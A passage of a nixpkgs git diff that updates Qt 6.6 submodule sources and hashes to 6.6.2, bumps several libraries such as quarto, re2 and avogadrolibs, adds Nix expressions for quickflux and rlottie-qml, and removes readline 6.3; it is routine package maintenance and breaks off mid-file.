"${mirror}/official_releases/qt/6.6/6.6.1/submodules/qtquick3dphysics-everywhere-src-6.6.1.tar.xz"; - sha256 = "0np14lkvc3y0y896m9f754pfi83k5jnmg5i76kgfc7bvipsvbiic"; - name = "qtquick3dphysics-everywhere-src-6.6.1.tar.xz"; + url = "${mirror}/official_releases/qt/6.6/6.6.2/submodules/qtquick3dphysics-everywhere-src-6.6.2.tar.xz"; + sha256 = "10209x9hbr5bc4vlhhcvvfsmsn2h3dyb4rlg0f0gpllx68mr58ac"; + name = "qtquick3dphysics-everywhere-src-6.6.2.tar.xz"; }; }; qtquickeffectmaker = { - version = "6.6.1"; + version = "6.6.2"; src = fetchurl { - url = "${mirror}/official_releases/qt/6.6/6.6.1/submodules/qtquickeffectmaker-everywhere-src-6.6.1.tar.xz"; - sha256 = "0lr6vms6vrmaki4ssmclsxi8xp3qnysgygqgn83vg727qx9hj65c"; - name = "qtquickeffectmaker-everywhere-src-6.6.1.tar.xz"; + url = "${mirror}/official_releases/qt/6.6/6.6.2/submodules/qtquickeffectmaker-everywhere-src-6.6.2.tar.xz"; + sha256 = "0lywm71wp943dk3w8zkklyxfk97w48v670zs6pc4pj4ja0ns37q7"; + name = "qtquickeffectmaker-everywhere-src-6.6.2.tar.xz"; }; }; qtquicktimeline = { - version = "6.6.1"; + version = "6.6.2"; src = fetchurl { - url = "${mirror}/official_releases/qt/6.6/6.6.1/submodules/qtquicktimeline-everywhere-src-6.6.1.tar.xz"; - sha256 = "0s71zycq3l9px8hig8g229ln91h9czhxvvbj6zmmnhkx694gaq1q"; - name = "qtquicktimeline-everywhere-src-6.6.1.tar.xz"; + url = "${mirror}/official_releases/qt/6.6/6.6.2/submodules/qtquicktimeline-everywhere-src-6.6.2.tar.xz"; + sha256 = "06cr9p0hrq77ckqslxh0h3lpyw31fblyap1plcyyj8ssr1rm4klc"; + name = "qtquicktimeline-everywhere-src-6.6.2.tar.xz"; }; }; qtremoteobjects = { - version = "6.6.1"; + version = "6.6.2"; src = fetchurl { - url = "${mirror}/official_releases/qt/6.6/6.6.1/submodules/qtremoteobjects-everywhere-src-6.6.1.tar.xz"; - sha256 = "16cmzc3cssfvqhvhc7lphbha00mdb1qykk877shgrh4bzyc5i7mq"; - name = "qtremoteobjects-everywhere-src-6.6.1.tar.xz"; + url = "${mirror}/official_releases/qt/6.6/6.6.2/submodules/qtremoteobjects-everywhere-src-6.6.2.tar.xz"; + sha256 = "0fbkjzykxpkz8myr6dy588gcmhyy3lar17v78zfam8kyxq7s5qxa"; + name = "qtremoteobjects-everywhere-src-6.6.2.tar.xz"; }; }; qtscxml = { - version = "6.6.1"; + version = "6.6.2"; src = fetchurl { - url = "${mirror}/official_releases/qt/6.6/6.6.1/submodules/qtscxml-everywhere-src-6.6.1.tar.xz"; - sha256 = "15q8vlhd9yz33bdhm7md426a33px4dg8sa14ckirk4rryixcajw7"; - name = "qtscxml-everywhere-src-6.6.1.tar.xz"; + url = "${mirror}/official_releases/qt/6.6/6.6.2/submodules/qtscxml-everywhere-src-6.6.2.tar.xz"; + sha256 = "0gm4805570ds3jmkbwrjigbg93zc561bd5rc52r71042zzq84j89"; + name = "qtscxml-everywhere-src-6.6.2.tar.xz"; }; }; qtsensors = { - version = "6.6.1"; + version = "6.6.2"; src = fetchurl { - url = "${mirror}/official_releases/qt/6.6/6.6.1/submodules/qtsensors-everywhere-src-6.6.1.tar.xz"; - sha256 = "1lwr6xw4flzcqvb017wl9g8p5yamf0z4zqx2wp4rmhrgbj0yw4xx"; - name = "qtsensors-everywhere-src-6.6.1.tar.xz"; + url = "${mirror}/official_releases/qt/6.6/6.6.2/submodules/qtsensors-everywhere-src-6.6.2.tar.xz"; + sha256 = "0a3w50bfnmxndyxnn9lsy1wxffhm2am0yjxqx3vx0gfjwv79yvsa"; + name = "qtsensors-everywhere-src-6.6.2.tar.xz"; }; }; qtserialbus = { - version = "6.6.1"; + version = "6.6.2"; src = fetchurl { - url = "${mirror}/official_releases/qt/6.6/6.6.1/submodules/qtserialbus-everywhere-src-6.6.1.tar.xz"; - sha256 = "1b7pkvs131vqls4bahqkwgnbrnb8pcrnii47ww2c589h1dimw52w"; - name = "qtserialbus-everywhere-src-6.6.1.tar.xz"; + url = "${mirror}/official_releases/qt/6.6/6.6.2/submodules/qtserialbus-everywhere-src-6.6.2.tar.xz"; + sha256 = "0g7sx81lrb5r2ipinnghq4iss6clkwbzjb0ck4ay6hmpw54smzww"; + name = "qtserialbus-everywhere-src-6.6.2.tar.xz"; }; }; qtserialport = { - version = "6.6.1"; + version = "6.6.2"; src = fetchurl { - url = "${mirror}/official_releases/qt/6.6/6.6.1/submodules/qtserialport-everywhere-src-6.6.1.tar.xz"; - sha256 = "1n5fsb3ayn1xnf1s5l7f6j1nm2pcdjywy382qr451b5wbhyj7z4n"; - name = "qtserialport-everywhere-src-6.6.1.tar.xz"; + url = "${mirror}/official_releases/qt/6.6/6.6.2/submodules/qtserialport-everywhere-src-6.6.2.tar.xz"; + sha256 = "16j5fprmdzzc1snnj5184ihq5avg1s0jrqqcjk70dvmimsf0q7ms"; + name = "qtserialport-everywhere-src-6.6.2.tar.xz"; }; }; qtshadertools = { - version = "6.6.1"; + version = "6.6.2"; src = fetchurl { - url = "${mirror}/official_releases/qt/6.6/6.6.1/submodules/qtshadertools-everywhere-src-6.6.1.tar.xz"; - sha256 = "1fvkbrw6gy8v2ql6qw1ra08wl6z64w34b9d886794m29ypj8ycq8"; - name = "qtshadertools-everywhere-src-6.6.1.tar.xz"; + url = "${mirror}/official_releases/qt/6.6/6.6.2/submodules/qtshadertools-everywhere-src-6.6.2.tar.xz"; + sha256 = "0bxrczs9nw6az2p4n8x0f660vsmxxynx4iqgj75l4zsfzzbym2v2"; + name = "qtshadertools-everywhere-src-6.6.2.tar.xz"; }; }; qtspeech = { - version = "6.6.1"; + version = "6.6.2"; src = fetchurl { - url = "${mirror}/official_releases/qt/6.6/6.6.1/submodules/qtspeech-everywhere-src-6.6.1.tar.xz"; - sha256 = "16aqjaf8c64l6qg0kz5hla6q2r7k9lryad7jy8jwyi2ir5921352"; - name = "qtspeech-everywhere-src-6.6.1.tar.xz"; + url = "${mirror}/official_releases/qt/6.6/6.6.2/submodules/qtspeech-everywhere-src-6.6.2.tar.xz"; + sha256 = "1qvf3p2p1pc5fw40d8zq0iawaaqkc0dp5yx85b1dnw1j809bn8y0"; + name = "qtspeech-everywhere-src-6.6.2.tar.xz"; }; }; qtsvg = { - version = "6.6.1"; + version = "6.6.2"; src = fetchurl { - url = "${mirror}/official_releases/qt/6.6/6.6.1/submodules/qtsvg-everywhere-src-6.6.1.tar.xz"; - sha256 = "0a4jw02v50fzbnrqnldz9djzn37rric06lrg2vrkqikas9bfp394"; - name = "qtsvg-everywhere-src-6.6.1.tar.xz"; + url = "${mirror}/official_releases/qt/6.6/6.6.2/submodules/qtsvg-everywhere-src-6.6.2.tar.xz"; + sha256 = "10c1dmbv5d39n1q4m67gf2h4n6wfkzrlyk8plnxbyhhvxxcis8ss"; + name = "qtsvg-everywhere-src-6.6.2.tar.xz"; }; }; qttools = { - version = "6.6.1"; + version = "6.6.2"; src = fetchurl { - url = "${mirror}/official_releases/qt/6.6/6.6.1/submodules/qttools-everywhere-src-6.6.1.tar.xz"; - sha256 = "0jliy2pz6czjw0ircd8h37a5prinm1a8dvnawwclxas5fdd10fa9"; - name = "qttools-everywhere-src-6.6.1.tar.xz"; + url = "${mirror}/official_releases/qt/6.6/6.6.2/submodules/qttools-everywhere-src-6.6.2.tar.xz"; + sha256 = "0ij7djy06xi4v5v29fh31gqq5rnc12vviv3qg3vqf4hiaagrxm76"; + name = "qttools-everywhere-src-6.6.2.tar.xz"; }; }; qttranslations = { - version = "6.6.1"; + version = "6.6.2"; src = fetchurl { - url = "${mirror}/official_releases/qt/6.6/6.6.1/submodules/qttranslations-everywhere-src-6.6.1.tar.xz"; - sha256 = "127f40wjm1q9clp2dj7vgyvv7nazb5c23akwgsr50wdd4bl051v6"; - name = "qttranslations-everywhere-src-6.6.1.tar.xz"; + url = "${mirror}/official_releases/qt/6.6/6.6.2/submodules/qttranslations-everywhere-src-6.6.2.tar.xz"; + sha256 = "0xqcad8aa9lp6wzh1rs46id6r60zdw82qj3bq9k2b89sxy8c0fna"; + name = "qttranslations-everywhere-src-6.6.2.tar.xz"; }; }; qtvirtualkeyboard = { - version = "6.6.1"; + version = "6.6.2"; src = fetchurl { - url = "${mirror}/official_releases/qt/6.6/6.6.1/submodules/qtvirtualkeyboard-everywhere-src-6.6.1.tar.xz"; - sha256 = "1akvip4h86r5j898w1yx0mnfgc78b1yqfygk8h25z613vqvdwg4r"; - name = "qtvirtualkeyboard-everywhere-src-6.6.1.tar.xz"; + url = "${mirror}/official_releases/qt/6.6/6.6.2/submodules/qtvirtualkeyboard-everywhere-src-6.6.2.tar.xz"; + sha256 = "07nqds49g2x748jsk17cnd2ph81165xnzn70jwxd0gpbi3dzshk1"; + name = "qtvirtualkeyboard-everywhere-src-6.6.2.tar.xz"; }; }; qtwayland = { - version = "6.6.1"; + version = "6.6.2"; src = fetchurl { - url = "${mirror}/official_releases/qt/6.6/6.6.1/submodules/qtwayland-everywhere-src-6.6.1.tar.xz"; - sha256 = "1cb8amr9kmr4gdnyi1mzriv34xf1nx47y91m9v6cczy05mijvk36"; - name = "qtwayland-everywhere-src-6.6.1.tar.xz"; + url = "${mirror}/official_releases/qt/6.6/6.6.2/submodules/qtwayland-everywhere-src-6.6.2.tar.xz"; + sha256 = "0y6x84ckcc53ddclnrlzs08b1kvw6saw9nim0hz4wc5fyz7dbkcv"; + name = "qtwayland-everywhere-src-6.6.2.tar.xz"; }; }; qtwebchannel = { - version = "6.6.1"; + version = "6.6.2"; src = fetchurl { - url = "${mirror}/official_releases/qt/6.6/6.6.1/submodules/qtwebchannel-everywhere-src-6.6.1.tar.xz"; - sha256 = "0hz5j6gpj4m74j74skj0lrjqmp30ns5s240gr6rrinisaz6qfq7i"; - name = "qtwebchannel-everywhere-src-6.6.1.tar.xz"; + url = "${mirror}/official_releases/qt/6.6/6.6.2/submodules/qtwebchannel-everywhere-src-6.6.2.tar.xz"; + sha256 = "1incvisc3j758b4k82vnwci8j1bba8zf6xgmgcrsm553k4wpsz1x"; + name = "qtwebchannel-everywhere-src-6.6.2.tar.xz"; }; }; qtwebengine = { - version = "6.6.1"; + version = "6.6.2"; src = fetchurl { - url = "${mirror}/official_releases/qt/6.6/6.6.1/submodules/qtwebengine-everywhere-src-6.6.1.tar.xz"; - sha256 = "149nwwnarkiiz2vrgydz99agfc0z08lrnm4hr8ln1mjb44la4vks"; - name = "qtwebengine-everywhere-src-6.6.1.tar.xz"; + url = "${mirror}/official_releases/qt/6.6/6.6.2/submodules/qtwebengine-everywhere-src-6.6.2.tar.xz"; + sha256 = "15h3hniszfkxv2vnn3fnbgbar8wb41ypgn4b4iz4iy6csar8f7fn"; + name = "qtwebengine-everywhere-src-6.6.2.tar.xz"; }; }; qtwebsockets = { - version = "6.6.1"; + version = "6.6.2"; src = fetchurl { - url = "${mirror}/official_releases/qt/6.6/6.6.1/submodules/qtwebsockets-everywhere-src-6.6.1.tar.xz"; - sha256 = "0hq6gg67x84fb6asfgx5jclvv1nqhr4gdr84cl27xn3nk0s18xbq"; - name = "qtwebsockets-everywhere-src-6.6.1.tar.xz"; + url = "${mirror}/official_releases/qt/6.6/6.6.2/submodules/qtwebsockets-everywhere-src-6.6.2.tar.xz"; + sha256 = "1y9q8jmspxbfxf07jdcg4n8zwmchccyzp0z68fxr0hnvr2dymrn0"; + name = "qtwebsockets-everywhere-src-6.6.2.tar.xz"; }; }; qtwebview = { - version = "6.6.1"; + version = "6.6.2"; src = fetchurl { - url = "${mirror}/official_releases/qt/6.6/6.6.1/submodules/qtwebview-everywhere-src-6.6.1.tar.xz"; - sha256 = "0v1598ycj1rgphb00r3mwkij8yjw26g0d73w2ijf8fp97fiippnn"; - name = "qtwebview-everywhere-src-6.6.1.tar.xz"; + url = "${mirror}/official_releases/qt/6.6/6.6.2/submodules/qtwebview-everywhere-src-6.6.2.tar.xz"; + sha256 = "0z3p1g26yg3dr3hhavwd5wz9b8yi838xj4s57068wykd80v145wb"; + name = "qtwebview-everywhere-src-6.6.2.tar.xz"; }; }; } diff --git a/pkgs/development/libraries/qtutilities/default.nix b/pkgs/development/libraries/qtutilities/default.nix index 797e9fb891b67..8d385afc148dd 100644 --- a/pkgs/development/libraries/qtutilities/default.nix +++ b/pkgs/development/libraries/qtutilities/default.nix @@ -9,13 +9,13 @@ stdenv.mkDerivation (finalAttrs: { pname = "qtutilities"; - version = "6.13.4"; + version = "6.13.5"; src = fetchFromGitHub { owner = "Martchus"; repo = "qtutilities"; rev = "v${finalAttrs.version}"; - hash = "sha256-AlDPu2mD2OrjBq3tUxQBAoqD32L9MiSjcUNGWzpj/xc="; + hash = "sha256-ZPfyJAQHtE5ae/X9f8s/69UNiB4CnyACPLvYp8RgpKg="; }; nativeBuildInputs = [ diff --git a/pkgs/development/libraries/quarto/default.nix b/pkgs/development/libraries/quarto/default.nix index 47cfae6482949..c61bb41e4484d 100644 --- a/pkgs/development/libraries/quarto/default.nix +++ b/pkgs/development/libraries/quarto/default.nix @@ -1,6 +1,7 @@ { stdenv , lib , pandoc +, typst , esbuild , deno , fetchurl @@ -18,35 +19,31 @@ stdenv.mkDerivation (final: { pname = "quarto"; - version = "1.3.450"; + version = "1.4.551"; src = fetchurl { url = "https://github.com/quarto-dev/quarto-cli/releases/download/v${final.version}/quarto-${final.version}-linux-amd64.tar.gz"; - sha256 = "sha256-bcj7SzEGfQxsw9P8WkcLrKurPupzwpgIGtxoE3KVwAU="; + sha256 = "sha256-RUnlLjJOf8hSj7aRCrmDSXFeNHCXnMY/bdbE3fbbThQ="; }; nativeBuildInputs = [ makeWrapper ]; - patches = [ - ./fix-deno-path.patch - ]; - postPatch = '' # Compat for Deno >=1.26 substituteInPlace bin/quarto.js \ - --replace 'Deno.setRaw(stdin.rid, ' 'Deno.stdin.setRaw(' \ - --replace 'Deno.setRaw(Deno.stdin.rid, ' 'Deno.stdin.setRaw(' + --replace-fail ']))?.trim();' ']))?.trim().split(" ")[0];' ''; dontStrip = true; preFixup = '' wrapProgram $out/bin/quarto \ - --prefix PATH : ${lib.makeBinPath [ deno ]} \ - --prefix QUARTO_PANDOC : ${pandoc}/bin/pandoc \ - --prefix QUARTO_ESBUILD : ${esbuild}/bin/esbuild \ - --prefix QUARTO_DART_SASS : ${dart-sass}/bin/dart-sass \ + --prefix QUARTO_DENO : ${lib.getExe deno} \ + --prefix QUARTO_PANDOC : ${lib.getExe pandoc} \ + --prefix QUARTO_ESBUILD : ${lib.getExe esbuild} \ + --prefix QUARTO_DART_SASS : ${lib.getExe dart-sass} \ + --prefix QUARTO_TYPST : ${lib.getExe typst} \ ${lib.optionalString (rWrapper != null) "--prefix QUARTO_R : ${rWrapper.override { packages = [ rPackages.rmarkdown ] ++ extraRPackages; }}/bin/R"} \ ${lib.optionalString (python3 != null) "--prefix QUARTO_PYTHON : ${python3.withPackages (ps: with ps; [ jupyter ipython ] ++ (extraPythonPackages ps))}/bin/python3"} ''; diff --git a/pkgs/development/libraries/quarto/fix-deno-path.patch b/pkgs/development/libraries/quarto/fix-deno-path.patch deleted file mode 100644 index 895419712ad83..0000000000000 --- a/pkgs/development/libraries/quarto/fix-deno-path.patch +++ /dev/null @@ -1,8 +0,0 @@ ---- a/bin/quarto -+++ b/bin/quarto -@@ -125,4 +125,4 @@ fi - # Be sure to include any already defined QUARTO_DENO_OPTIONS - QUARTO_DENO_OPTIONS="--unstable --no-config --cached-only --allow-read --allow-write --allow-run --allow-env --allow-net --allow-ffi ${QUARTO_DENO_OPTIONS}" - --"${QUARTO_DENO}" ${QUARTO_ACTION} ${QUARTO_DENO_OPTIONS} ${QUARTO_DENO_EXTRA_OPTIONS} "${QUARTO_IMPORT_ARGMAP}" "${QUARTO_TARGET}" "$@" -+deno ${QUARTO_ACTION} ${QUARTO_DENO_OPTIONS} ${QUARTO_DENO_EXTRA_OPTIONS} "${QUARTO_IMPORT_ARGMAP}" "${QUARTO_TARGET}" "$@" diff --git a/pkgs/development/libraries/quickflux/default.nix b/pkgs/development/libraries/quickflux/default.nix new file mode 100644 index 0000000000000..9f56e67931911 --- /dev/null +++ b/pkgs/development/libraries/quickflux/default.nix @@ -0,0 +1,64 @@ +{ stdenv +, lib +, fetchFromGitHub +, cmake +, qtbase +, qtquickcontrols2 +}: + +stdenv.mkDerivation (finalAttrs: { + pname = "quickflux"; + version = "1.1-unstable-2020-11-10"; + + src = fetchFromGitHub { + owner = "benlau"; + repo = "quickflux"; + rev = "2a37acff0416c56cb349e5bc1b841b25ff1bb6f8"; + hash = "sha256-c0W3Qj8kY6hMcMy/v5xhwJF9+muZjotmJqhbjqQVab0="; + }; + + outputs = [ + "out" + "dev" + ]; + + postPatch = '' + # Don't hardcode static linking, let stdenv decide + # Use GNUInstallDirs + substituteInPlace CMakeLists.txt \ + --replace-fail 'quickflux STATIC' 'quickflux' \ + --replace-fail 'DESTINATION include' 'DESTINATION ''${CMAKE_INSTALL_INCLUDEDIR}' + ''; + + strictDeps = true; + + nativeBuildInputs = [ + cmake + ]; + + buildInputs = [ + qtbase + qtquickcontrols2 + ]; + + # Only a QML module + dontWrapQtApps = true; + + cmakeFlags = [ + (lib.cmakeBool "BUILD_SHARED_LIBS" (!stdenv.hostPlatform.isStatic)) + ]; + + preFixup = '' + # Has extra $out in includes list, breaks usage of module (complains about non-existent path in module includes) + substituteInPlace $out/lib/cmake/QuickFlux/QuickFluxTargets.cmake \ + --replace "\''${_IMPORT_PREFIX}/include" '${placeholder "dev"}/include' + ''; + + meta = with lib; { + description = "A Flux implementation for QML"; + homepage = "https://github.com/benlau/quickflux"; + license = licenses.asl20; + maintainers = with maintainers; [ OPNA2608 ]; + platforms = platforms.unix; + }; +}) diff --git a/pkgs/development/libraries/rapidfuzz-cpp/default.nix b/pkgs/development/libraries/rapidfuzz-cpp/default.nix index f24da2c899f12..1544eff83621d 100644 --- a/pkgs/development/libraries/rapidfuzz-cpp/default.nix +++ b/pkgs/development/libraries/rapidfuzz-cpp/default.nix @@ -8,13 +8,13 @@ stdenv.mkDerivation (finalAttrs: { pname = "rapidfuzz-cpp"; - version = "3.0.0"; + version = "3.0.1"; src = fetchFromGitHub { - owner = "maxbachmann"; + owner = "rapidfuzz"; repo = "rapidfuzz-cpp"; rev = "v${finalAttrs.version}"; - hash = "sha256-N9yGOxlk1+wgRXWLbDIXWQz+/pwbnYVs3ub4/16Nzws="; + hash = "sha256-v/apbqRyv93PZsO397lvyIMtA1JtYrOpbWAVAbMCmP4="; }; nativeBuildInputs = [ @@ -43,8 +43,8 @@ stdenv.mkDerivation (finalAttrs: { meta = { description = "Rapid fuzzy string matching in C++ using the Levenshtein Distance"; - homepage = "https://github.com/maxbachmann/rapidfuzz-cpp"; - changelog = "https://github.com/maxbachmann/rapidfuzz-cpp/blob/${finalAttrs.src.rev}/CHANGELOG.md"; + homepage = "https://github.com/rapidfuzz/rapidfuzz-cpp"; + changelog = "https://github.com/rapidfuzz/rapidfuzz-cpp/blob/${finalAttrs.src.rev}/CHANGELOG.md"; license = lib.licenses.mit; maintainers = with lib.maintainers; [ dotlambda ]; platforms = lib.platforms.unix; diff --git a/pkgs/development/libraries/rapidjson/default.nix b/pkgs/development/libraries/rapidjson/default.nix index b200193aa2114..edd427da725de 100644 --- a/pkgs/development/libraries/rapidjson/default.nix +++ b/pkgs/development/libraries/rapidjson/default.nix @@ -43,7 +43,14 @@ stdenv.mkDerivation rec { # for tests, adding gtest to checkInputs does not work # https://github.com/NixOS/nixpkgs/pull/212200 buildInputs = [ gtest ]; - cmakeFlags = [ "-DGTEST_SOURCE_DIR=${gtest.dev}/include" ]; + cmakeFlags = [ + "-DGTEST_SOURCE_DIR=${gtest.dev}/include" + + # Build rapidjson with std=c++17 so gtest 1.13.0+ works + # https://github.com/NixOS/nixpkgs/pull/282245#issuecomment-1951796902 + "-DRAPIDJSON_BUILD_CXX11=OFF" + "-DRAPIDJSON_BUILD_CXX17=ON" + ]; nativeCheckInputs = [ valgrind ]; doCheck = !stdenv.hostPlatform.isStatic && !stdenv.isDarwin; diff --git a/pkgs/development/libraries/re2/default.nix b/pkgs/development/libraries/re2/default.nix index a1a22fb38e42a..feb5650763269 100644 --- a/pkgs/development/libraries/re2/default.nix +++ b/pkgs/development/libraries/re2/default.nix @@ -13,13 +13,13 @@ stdenv.mkDerivation rec { pname = "re2"; - version = "2023-11-01"; + version = "2024-02-01"; src = fetchFromGitHub { owner = "google"; repo = "re2"; rev = version; - hash = "sha256-cKXe8r5MUag/z+seem4Zg/gmqIQjaCY7DBxiKlrnXPs="; + hash = "sha256-a6yo0zLgb193TDL8akselJuZfYqCjPwQ/FJ7+KexuLE="; }; outputs = [ "out" "dev" ]; diff --git a/pkgs/development/libraries/readline/6.3.nix b/pkgs/development/libraries/readline/6.3.nix deleted file mode 100644 index aff16c3e4184d..0000000000000 --- a/pkgs/development/libraries/readline/6.3.nix +++ /dev/null @@ -1,68 +0,0 @@ -{ fetchurl, lib, stdenv, ncurses }: - -stdenv.mkDerivation { - pname = "readline"; - version = "6.3p08"; - - src = fetchurl { - url = "mirror://gnu/readline/readline-6.3.tar.gz"; - sha256 = "0hzxr9jxqqx5sxsv9vmlxdnvlr9vi4ih1avjb869hbs6p5qn1fjn"; - }; - - outputs = [ "out" "dev" "man" "doc" "info" ]; - - strictDeps = true; - propagatedBuildInputs = [ ncurses ]; - - patchFlags = [ "-p0" ]; - - configureFlags = lib.optional (stdenv.hostPlatform != stdenv.buildPlatform) - # This test requires running host code - "bash_cv_wcwidth_broken=no"; - - patches = - [ ./link-against-ncurses.patch - ./no-arch_only-6.3.patch - ] ++ lib.optional stdenv.hostPlatform.useAndroidPrebuilt ./android.patch - ++ - (let - patch = nr: sha256: - fetchurl { - url = "mirror://gnu/readline/readline-6.3-patches/readline63-${nr}"; - inherit sha256; - }; - in - import ./readline-6.3-patches.nix patch); - - env = lib.optionalAttrs stdenv.cc.isClang { - NIX_CFLAGS_COMPILE = "-Wno-error=implicit-function-declaration"; - }; - - meta = with lib; { - description = "Library for interactive line editing"; - - longDescription = '' - The GNU Readline library provides a set of functions for use by - applications that allow users to edit command lines as they are - typed in. Both Emacs and vi editing modes are available. The - Readline library includes additional functions to maintain a - list of previously-entered command lines, to recall and perhaps - reedit those lines, and perform csh-like history expansion on - previous commands. - - The history facilities are also placed into a separate library, - the History library, as part of the build process. The History - library may be used without Readline in applications which - desire its capabilities. - ''; - - homepage = "https://savannah.gnu.org/projects/readline/"; - - license = licenses.gpl3Plus; - - maintainers = [ ]; - - platforms = platforms.unix; - branch = "6.3"; - }; -} diff --git a/pkgs/development/libraries/readline/android.patch b/pkgs/development/libraries/readline/android.patch deleted file mode 100644 index 7e81774be3697..0000000000000 --- a/pkgs/development/libraries/readline/android.patch +++ /dev/null @@ -1,16 +0,0 @@ -diff --git histlib.h histlib.h -index c938a10..925ab72 100644 ---- histlib.h -+++ histlib.h -@@ -51,9 +51,9 @@ - #endif - - #ifndef member --# ifndef strchr -+# if !defined (strchr) && !defined (__STDC__) - extern char *strchr (); --# endif -+# endif /* !strchr && !__STDC__ */ - #define member(c, s) ((c) ? ((char *)strchr ((s), (c)) != (char *)NULL) : 0) - #endif - diff --git a/pkgs/development/libraries/readline/readline-6.3-patches.nix b/pkgs/development/libraries/readline/readline-6.3-patches.nix deleted file mode 100644 index d0aaaf38f706e..0000000000000 --- a/pkgs/development/libraries/readline/readline-6.3-patches.nix +++ /dev/null @@ -1,12 +0,0 @@ -# Automatically generated by `update-patch-set.sh'; do not edit. - -patch: [ -(patch "001" "0vqlj22mkbn3x42qx2iqir7capx462dhagbzdw6hwxgfxavbny8s") -(patch "002" "19g0l6vlfcqzwfwjj1slkmxzndjp4543hwrf26g8z216lp3h9qrr") -(patch "003" "0bx53k876w8vwf4h2s6brr1i46ym87gi71bh8zl89n0gn3cbshgc") -(patch "004" "1k2m8dg1awmjhmivdbx1c25866gfbpg0fy4845n8cw15zc3bjis5") -(patch "005" "0jr7c28bzn882as5i54l53bhi723s1nkvzmwlh3rj6ld4bwqhxw7") -(patch "006" "0mp5zgx50792gigkmjap3d0zpdv5qanii8djab7j6z69qsrpl8sw") -(patch "007" "1sjv9w0mglh395i6hlq3ck7wdxvi2wyddlyb2j0jwg7cmnibayad") -(patch "008" "11rpqhsxd132gc8455v51ma3a5zshznb0mh2p0zc5skcab7r7h1v") -] diff --git a/pkgs/development/libraries/rlottie-qml/default.nix b/pkgs/development/libraries/rlottie-qml/default.nix new file mode 100644 index 0000000000000..5154c816624e7 --- /dev/null +++ b/pkgs/development/libraries/rlottie-qml/default.nix @@ -0,0 +1,73 @@ +{ stdenv +, lib +, fetchFromGitLab +, fetchpatch +, cmake +, qtbase +, qtdeclarative +, qtmultimedia +, quazip +, rlottie +}: + +stdenv.mkDerivation (finalAttrs: { + pname = "rlottie-qml"; + version = "0-unstable-2021-05-03"; + + src = fetchFromGitLab { + owner = "mymike00"; + repo = "rlottie-qml"; + rev = "f9506889a284039888c7a43db37e155bb7b30c40"; + hash = "sha256-e2/4e1GGFfJMwShy6qgnUVVRxjV4WfjQwcqs09RK194="; + }; + + outputs = [ + "out" + "dev" + ]; + + patches = [ + # Remove when https://gitlab.com/mymike00/rlottie-qml/-/merge_requests/1 merged + (fetchpatch { + name = "0001-rlottie-qml-Use-upstream-QuaZip-config-module.patch"; + url = "https://gitlab.com/mymike00/rlottie-qml/-/commit/5656211dd8ae190795e343f47a3393fd3d8d25a4.patch"; + hash = "sha256-t2NlYVU+D8hKd+AvBWPEavAhJKlk7Q3y2iAQSYtks5k="; + }) + ]; + + postPatch = '' + # Fix QML install path + substituteInPlace CMakeLists.txt \ + --replace-fail 'QT_IMPORTS_DIR "/lib/''${ARCH_TRIPLET}"' 'QT_IMPORTS_DIR "''${CMAKE_INSTALL_PREFIX}/${qtbase.qtQmlPrefix}"' \ + --replace-fail "\''${QT_IMPORTS_DIR}/\''${PLUGIN}" "\''${QT_IMPORTS_DIR}" \ + ''; + + strictDeps = true; + + nativeBuildInputs = [ + cmake + ]; + + buildInputs = [ + rlottie + qtbase + qtdeclarative + qtmultimedia + ]; + + propagatedBuildInputs = [ + # Config module requires this + quazip + ]; + + # Only a QML module + dontWrapQtApps = true; + + meta = with lib; { + description = "Library for using rlottie via QML"; + homepage = "https://gitlab.com/mymike00/rlottie-qml"; + license = licenses.gpl3Only; + maintainers = with maintainers; [ OPNA2608 ]; + platforms = platforms.all; + }; +}) diff --git a/pkgs/development/libraries/science/astronomy/cfitsio/default.nix b/pkgs/development/libraries/science/astronomy/cfitsio/default.nix index aa8c3f54e2fe0..65f7d61d02693 100644 --- a/pkgs/development/libraries/science/astronomy/cfitsio/default.nix +++ b/pkgs/development/libraries/science/astronomy/cfitsio/default.nix @@ -8,11 +8,11 @@ stdenv.mkDerivation (finalAttrs: { pname = "cfitsio"; - version = "4.3.1"; + version = "4.4.0"; src = fetchurl { url = "https://heasarc.gsfc.nasa.gov/FTP/software/fitsio/c/cfitsio-${finalAttrs.version}.tar.gz"; - hash = "sha256-R6fI7gVoe+Hh2O7rlPuI8GD7882KTfUsy4jV6w9QYr4="; + hash = "sha256-lZAM+VrnYIOefLlninsvrQhY1qwSI0+TS9HLa/wka6k="; }; patches = [ diff --git a/pkgs/development/libraries/science/chemistry/avogadrolibs/default.nix b/pkgs/development/libraries/science/chemistry/avogadrolibs/default.nix index 7966cd4be5f65..e50bde243e85e 100644 --- a/pkgs/development/libraries/science/chemistry/avogadrolibs/default.nix +++ b/pkgs/development/libraries/science/chemistry/avogadrolibs/default.nix @@ -1,4 +1,4 @@ -{ lib, stdenv, fetchFromGitHub, cmake, zlib, eigen, libGL, doxygen, spglib +{ lib, stdenv, fetchFromGitHub, fetchpatch, cmake, zlib, eigen, libGL, doxygen, spglib , mmtf-cpp, glew, python3, libarchive, libmsym, msgpack, qttools, wrapQtAppsHook }: @@ -18,26 +18,43 @@ let rev = "1.0.1"; sha256 = "sH/WuvLaYu6akOc3ssAKhnxD8KNoDxuafDSozHqJZC4="; }; + fragmentsRepo = fetchFromGitHub { + owner = "OpenChemistry"; + repo = "fragments"; + rev = "8dc711a59d016604b3e9b6d59dec178b8e6ccd36"; + hash = "sha256-Valc5zwlaZ//eDupFouCfWCeID7/4ObU1SDLFJ/mo/g="; + }; in stdenv.mkDerivation rec { pname = "avogadrolibs"; - version = "1.98.1"; + version = "1.99.0"; src = fetchFromGitHub { owner = "OpenChemistry"; repo = pname; rev = version; - hash = "sha256-BuBMWW7N5Cu9tw5Vpwk+aoIaMWwHViRzLtIG7XDWjN4="; + hash = "sha256-3jUbzEd7tUeHlVFAO9KJ+LOQlkLzJQvwmHp8gOriZRI="; }; postUnpack = '' cp -r ${moleculesRepo} molecules cp -r ${crystalsRepo} crystals + cp -r ${fragmentsRepo} fragments ''; + patches = [ + # Fix a Cmake error when searching the fragments directory. + # Can be removed upon next release + (fetchpatch { + url = "https://github.com/OpenChemistry/avogadrolibs/commit/6e2e84dbb088a40d69117c1836f4306792f57acd.patch"; + hash = "sha256-0tY9kHh6e5IDZQ8cWPgTpwIBhfZQlgUEZbPHOmtOVUQ="; + }) + ]; + nativeBuildInputs = [ cmake wrapQtAppsHook + pythonWP ]; buildInputs = [ diff --git a/pkgs/development/libraries/science/chemistry/avogadrolibs/fragments.patch b/pkgs/development/libraries/science/chemistry/avogadrolibs/fragments.patch new file mode 100644 index 0000000000000..0f886a8a63a57 --- /dev/null +++ 